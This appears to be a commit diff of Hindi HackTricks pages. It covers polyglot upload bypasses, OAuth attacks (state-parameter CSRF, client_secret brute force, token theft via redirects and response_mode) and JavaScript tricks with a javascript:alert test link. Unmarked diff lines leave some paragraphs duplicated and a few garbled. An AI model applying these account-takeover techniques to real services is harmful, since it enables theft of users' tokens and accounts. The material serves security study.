पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -13,16 +13,16 @@ OAuth 2.0 ढांचे के भीतर निम्नलिखित घ
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुंच की अनुमति देते हैं।
- **resource server**: **सर्वर जो प्रमाणित अनुरोधों का प्रबंधन करता है** जब एप्लिकेशन ने `access token` को `resource owner` की ओर से सुरक्षित किया है, जैसे कि **https://socialmedia.com**
- **client application**: **अनुमति प्राप्त करने वाला एप्लिकेशन** जो `resource owner` से अनुरोध करता है, जैसे कि **https://example.com**
- **authorization server**: **सर्वर जो `access tokens` जारी करता है** `client application` को `resource owner` की सफल प्रमाणीकरण और प्राधिकरण सुरक्षित करने के बाद, जैसे कि **https://socialmedia.com**
- **authorization server**: **सर्वर जो `access tokens` जारी करता है** `client application` को `resource owner` की सफल प्रमाणीकरण और प्राधिकरण प्राप्त करने के बाद, जैसे कि **https://socialmedia.com**
- **client_id**: एप्लिकेशन के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और प्राधिकरण सर्वर को ज्ञात होती है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
- **response_type**: एक मान जो **मांगी गई टोकन के प्रकार को निर्दिष्ट करता है**, जैसे `code`
- **response_type**: एक मान जो **मांगी गई टोकन के प्रकार** को निर्दिष्ट करता है, जैसे `code`
- **scope**: **एक्सेस का स्तर** जो `client application` `resource owner` से मांग रहा है।
- **redirect_uri**: **URL जिस पर उपयोगकर्ता प्राधिकरण के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने के लिए** है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार को इंगित करता है**
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `client application` द्वारा `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जो `client application` `resource owner` की ओर से API अनुरोधों के लिए उपयोग करता है**।
- **redirect_uri**: **URL जिस पर उपयोगकर्ता प्राधिकरण के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-पंजीकृत पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने के लिए**ोता है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार** को इंगित करता है।
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जो `client application` API अनुरोधों के लिए `resource owner` की ओर से उपयोग करता है**।
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने की अनुमति देता है**
### Flow
@ -72,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter या तो **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते पर कब्जा** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते का अधिग्रहण** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या **Slack**, **Stripe**, और **PayPal** जैसे तीसरे पक्ष की सेवाओं के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या तीसरे पक्ष की सेवाओं जैसे **Slack**, **Stripe**, और **PayPal** के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
**`state` parameter** का उचित प्रबंधन और मान्यता CSRF के खिलाफ सुरक्षा और OAuth प्रवाह को सुरक्षित करने के लिए महत्वपूर्ण है।
@ -87,14 +87,14 @@ OAuth कार्यान्वयन में, **`state` parameter** का
### Disclosure of Secrets <a href="#e177" id="e177"></a>
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** का खुलासा महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता के **`access_tokens`** और निजी जानकारी को **चोरी** करने के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** का खुलासा महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता `access_tokens` और निजी जानकारी को **चोरी करने** के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के रूप में `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और अधिक लाभ उठाया जा सकता है।
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के बहाने `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और अधिक लाभ उठाया जा सकता है।
### Client Secret Bruteforce
आप सेवा प्रदाता के साथ पहचान प्रदाता का **client_secret** **bruteforce** करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश की जा सके।\
BF के लिए अनुरोध इस प्रकार दिख सकता है:
BF के लिए अनुरोध इस प्रकार का हो सकता है:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -156,13 +156,13 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और फेसबुक के साथ लॉगिन करता है** (उदाहरण के लिए) अपने स्वयं के ऐप में। फिर, जब एक पीड़ित फेसबुक के साथ **हमलावर के ऐप में लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन का उपयोग करके लॉगिन करने के लिए कर सकता है**
> [!CAUTION]
> इसलिए, यदि हमलावर उपयोगकर्ता को अपने OAuth ऐप तक पहुंच प्राप्त करने में सफल हो जाता है, तो वह उन ऐप्स में पीड़ित के खाते पर नियंत्रण प्राप्त कर सकेगा जो टोकन की अपेक्षा कर रहे हैं और यह नहीं जांच रहे हैं कि टोकन उनके ऐप आईडी को दिया गया था या नहीं।
> इसलिए, यदि हमलावर उपयोगकर्ता को अपने OAuth ऐप तक पहुंच प्राप्त करने में सफल हो जाता है, तो वह उन ऐप्स में पीड़ित के खाते पर नियंत्रण प्राप्त कर सकेगा जो टोकन की अपेक्षा कर रहे हैं और यह नहीं जांचते कि टोकन उनके ऐप आईडी को दिया गया था या नहीं।
### Two links & cookie <a href="#bda5" id="bda5"></a>
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **एक कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **prompt** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए चाहता है।
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **एक कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **प्रॉम्प्ट** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए चाहता है।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को शुरू किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब बंद करें, और बिना उस मान के एक नया टैब खोलें। तब, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी को इसके लिए सेट किया जाएगा, इसलिए **टोकन हमलावर के होस्ट को** रीडायरेक्शन में भेजा जाएगा।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब बंद करें, और बिना उस मान के एक नया टैब खोलें। फिर, **प्रॉम्प्ट हमलावर के होस्ट के बारे में जानकारी नहीं देगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट** पर पुनर्निर्देशित किया जाएगा।
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
@ -173,7 +173,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), यह संभव हो सकता है कि पैरामीटर **`response_mode`** को इंगित किया जाए कि आप अंतिम URL में कोड कहां प्राप्त करना चाहते हैं:
- `response_mode=query` -> कोड एक GET पैरामीटर के अंदर प्रदान किया जाता है: `?code=2397rf3gu93f`
- `response_mode=fragment` -> कोड URL फ़्रैगमेंट पैरामीटर `#code=2397rf3gu93f` के अंदर प्रदान किया जाता है
- `response_mode=fragment` -> कोड URL के फ़्रैगमेंट पैरामीटर `#code=2397rf3gu93f` के अंदर प्रदान किया जाता है
- `response_mode=form_post` -> कोड एक POST फॉर्म के अंदर प्रदान किया जाता है जिसमें एक इनपुट होता है जिसे `code` कहा जाता है और मान
- `response_mode=web_message` -> कोड एक पोस्ट संदेश में भेजा जाता है: `window.opener.postMessage({"code": "asdasdasd...`
@ -188,7 +188,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
1. पीड़ित हमलावर के वेब पृष्ठ पर पहुंचता है
2. पीड़ित दुर्भावनापूर्ण लिंक खोलता है और एक ओपनर Google OAuth प्रवाह को `response_type=id_token,code&prompt=none` के रूप में अतिरिक्त पैरामीटर के साथ शुरू करता है, **रेफरर के रूप में हमलावर की वेबसाइट** का उपयोग करते हुए।
3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर वापस भेजता है जिसमें 30X कोड होता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर रीडायरेक्ट करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ़्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर पुनर्निर्देशित करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ़्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
### SSRFs parameters <a href="#bda5" id="bda5"></a>
@ -213,7 +213,7 @@ OAuth में डायनामिक क्लाइंट रजिस्
## OAuth providers Race Conditions
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित रेस कंडीशंस के लिए इसे पढ़ें**](race-condition.md)
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित रेस कंडीशंस के लिए इसे पढ़ें**](race-condition.md).
## References

View File

@ -144,7 +144,7 @@ document.body.append(anchor)
// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>
```
### URL फज़िंग
### URL Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -186,9 +186,9 @@ log.push(i)
}
console.log(log) //33,45,62
```
## **विश्लेषण करना विशेषताएँ**
## **विश्लेषण करना गुण**
Portswigger का टूल **Hackability inspector** एक जावास्क्रिप्ट ऑब्जेक्ट क**विशेषताओं** का **विश्लेषण** करने में मदद करता है। जांचें: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
Portswigger का टूल **Hackability inspector** एक जावास्क्रिप्ट ऑब्जेक्ट क**गुणों** का **विश्लेषण** करने में मदद करता है। जांचें: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js फ़ाइलें**
@ -208,7 +208,7 @@ Portswigger का टूल **Hackability inspector** एक जावास्
### .call और .apply
एक फ़ंक्शन की **`.call`** विधि का उपयोग **फ़ंक्शन को चलाने** के लिए किया जाता है।\
यह **पहला तर्क** जिसे यह डिफ़ॉल्ट रूप से अपेक्षित करता है, वह है **`this` का मान** और यदि **कुछ भी** प्रदान नहीं किया गया, तो **`window`** वह मान होगा (जब तक कि **`strict mode`** का उपयोग नहीं किया गया हो)।
यह **पहला तर्क** जिसे यह डिफ़ॉल्ट रूप से अपेक्षित करता है, वह है **`this` का मान** और यदि **कुछ भी** प्रदान नहीं किया गया है, तो **`window`** वह मान होगा (जब तक कि **`strict mode`** का उपयोग नहीं किया गया हो)।
```javascript
function test_call() {
console.log(this.value) //baz
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
तो, पिछले अधिकांश फ़ंक्शन वास्तव में बेकार हैं क्योंकि हम उन्हें कहीं भी सहेज नहीं रहे हैं ताकि उन्हें सहेज सकें और कॉल कर सकें। उदाहरण के लिए `plusone` फ़ंक्शन बनाना:
तो, अधिकांश पिछले फ़ंक्शन वास्तव में बेकार हैं क्योंकि हम उन्हें कहीं भी सहेज नहीं रहे हैं ताकि उन्हें सहेज सकें और कॉल कर सकें। उदाहरण के लिए `plusone` फ़ंक्शन बनाना:
```javascript
// Traductional
function plusone(a) {
@ -276,7 +276,7 @@ plusone = (a) => a + 100
```
### Bind function
bind फ़ंक्शन एक **कॉपी** बनाने की अनुमति देता है जो **`this`** ऑब्जेक्ट और दिए गए **पैरामीटर्स** को संशोधित करता है
bind फ़ंक्शन एक **कॉपी** बनाने की अनुमति देता है **फंक्शन को संशोधित** करते हुए **`this`** ऑब्जेक्ट और दिए गए **पैरामीटर्स**
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@ -305,7 +305,7 @@ bindFn_change("Hello", "World")
### फ़ंक्शन कोड लीक
यदि आप किसी फ़ंक्शन के **ऑब्जेक्ट** तक **पहुँच** सकते हैं, तो आप उस फ़ंक्शन का **कोड** प्राप्त कर सकते हैं।
यदि आप किसी फ़ंक्शन के **ऑब्जेक्ट** तक **पहुँच** सकते हैं तो आप उस फ़ंक्शन का **कोड** प्राप्त कर सकते हैं।
```javascript
function afunc() {
return 1 + 1
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
console.log(this.afunc.toString()) //This will print the code of the function
console.log(global.afunc.toString()) //This will print the code of the function
```
ऐसे मामलों में जहा **फंक्शन का कोई नाम नहीं है**, आप अभी भी **फंक्शन कोड** को अंदर से प्रिंट कर सकते हैं:
ऐसे मामलों में जहा **फंक्शन का कोई नाम नहीं है**, आप अभी भी **फंक्शन कोड** को अंदर से प्रिंट कर सकते हैं:
```javascript
;(function () {
return arguments.callee.toString()
@ -323,7 +323,7 @@ return arguments.callee.toString()
return arguments[0]
})("arg0")
```
कुछ **यादृच्छिक** तरीके किसी अन्य फ़ंक्शन से फ़ंक्शन का **कोड** (यहां तक कि टिप्पणियां) निकालने के लिए:
कुछ **यादृच्छिक** तरीके किसी अन्य फ़ंक्शन से फ़ंक्शन का **कोड निकालने** के लिए (यहां तक कि टिप्पणियां):
```javascript
;(function () {
return (retFunc) => String(arguments[0])

View File

@ -4,7 +4,7 @@ Last updated: 02/04/2023
### Introduction
यह Cookies Policy HackTricks टीम ("HackTricks", "हम", "हमारा" या "हमारे") द्वारा स्वामित्व और संचालित निम्नलिखित वेबसाइटों पर लागू होती है:
यह Cookies Policy HackTricks टीम ("HackTricks", "हम", "हमें" या "हमारा") द्वारा स्वामित्व और संचालित निम्नलिखित वेबसाइटों पर लागू होती है:
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
@ -21,7 +21,7 @@ Last updated: 02/04/2023
हम अपनी वेबसाइटों पर निम्नलिखित उद्देश्यों के लिए कुकीज़ का उपयोग करते हैं:
1. आवश्यक कुकीज़: ये कुकीज़ हमारी वेबसाइटों की बुनियादी कार्यक्षमता के लिए आवश्यक हैं, जैसे उपयोगकर्ता प्रमाणीकरण सक्षम करना, सुरक्षा बनाए रखना, और आपकी प्राथमिकताओं को याद रखना।
1. आवश्यक कुकीज़: ये कुकीज़ हमारी वेबसाइटों की मूल कार्यक्षमता के लिए आवश्यक हैं, जैसे उपयोगकर्ता प्रमाणीकरण सक्षम करना, सुरक्षा बनाए रखना, और आपकी प्राथमिकताओं को याद रखना।
2. प्रदर्शन कुकीज़: ये कुकीज़ हमें समझने में मदद करती हैं कि आगंतुक हमारी वेबसाइटों के साथ कैसे इंटरैक्ट करते हैं, जानकारी को गुमनाम रूप से एकत्रित और रिपोर्ट करके। इससे हमें अपनी वेबसाइट के प्रदर्शन और उपयोगकर्ता अनुभव में सुधार करने की अनुमति मिलती है।
3. कार्यक्षमता कुकीज़: ये कुकीज़ हमारी वेबसाइटों को आपके द्वारा किए गए विकल्पों को याद रखने में सक्षम बनाती हैं, जैसे आपकी भाषा या क्षेत्र, ताकि एक अधिक व्यक्तिगत अनुभव प्रदान किया जा सके।
4. लक्षित/विज्ञापन कुकीज़: ये कुकीज़ आपके रुचियों, ब्राउज़िंग इतिहास, और हमारी वेबसाइटों के साथ इंटरैक्शन के आधार पर प्रासंगिक विज्ञापन और मार्केटिंग संचार प्रदान करने के लिए उपयोग की जाती हैं।

View File

@ -10,12 +10,12 @@
> - **सभी** इंटरनेट को **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स को स्टोर करना चाहते हैं।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **क्रेडिट** दें।
> - **हम दूसरों से क्रेडिट नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स को स्टोर करना चाहते हैं।
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण हिस्सों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
> - पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित** करें ताकि यह **अधिक सुलभ** हो।
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** में मुफ्त में हजारों घंटे समर्पित किए हैं।
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** में हजारों घंटे मुफ्त में समर्पित किए हैं।
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,7 +25,7 @@
>
> - **इन संसाधनों के लिए आपका बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता हूँ?**
आप HackTricks टीमों को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
आप HackTricks टीमों को सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
यदि आप विशेष रूप से आभारी हैं तो आप [**यहां प्रोजेक्ट को स्पॉन्सर कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
और Github प्रोजेक्ट्स में **एक स्टार देना न भूलें!** (नीचे लिंक खोजें)।
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **क्या मैं अपने ब्लॉग में सभी HackTricks की कॉपी कर सकता हूँ?**
**मैं ऐसा नहीं करना चाहूँगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध** है आधिकारिक HackTricks पुस्तकों में मुफ्त में।
**मैं ऐसा नहीं करना चाहूँगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध है** आधिकारिक HackTricks पुस्तकों में मुफ्त में।
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर फोर्क करें या डाउनलोड करें, जैसा कि मैंने कहा, यह पहले से ही मुफ्त है।
@ -78,17 +78,17 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
हमारे पास प्रायोजक हैं क्योंकि, भले ही सभी सामग्री **मुफ्त** है, हम **समुदाय को हमारे काम की सराहना करने की संभावना प्रदान करना चाहते हैं** यदि वे चाहें। इसलिए, हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के माध्यम से दान करने का विकल्प प्रदान करते हैं, और **संबंधित साइबर सुरक्षा कंपनियों** को HackTricks को प्रायोजित करने और पुस्तक में **कुछ विज्ञापन** रखने के लिए, विज्ञापन हमेशा उन स्थानों पर रखे जाते हैं जहाँ उन्हें **दृश्य** बनाया जा सके लेकिन **सीखने** की प्रक्रिया में बाधा नहीं डालते यदि कोई सामग्री पर ध्यान केंद्रित करता है।
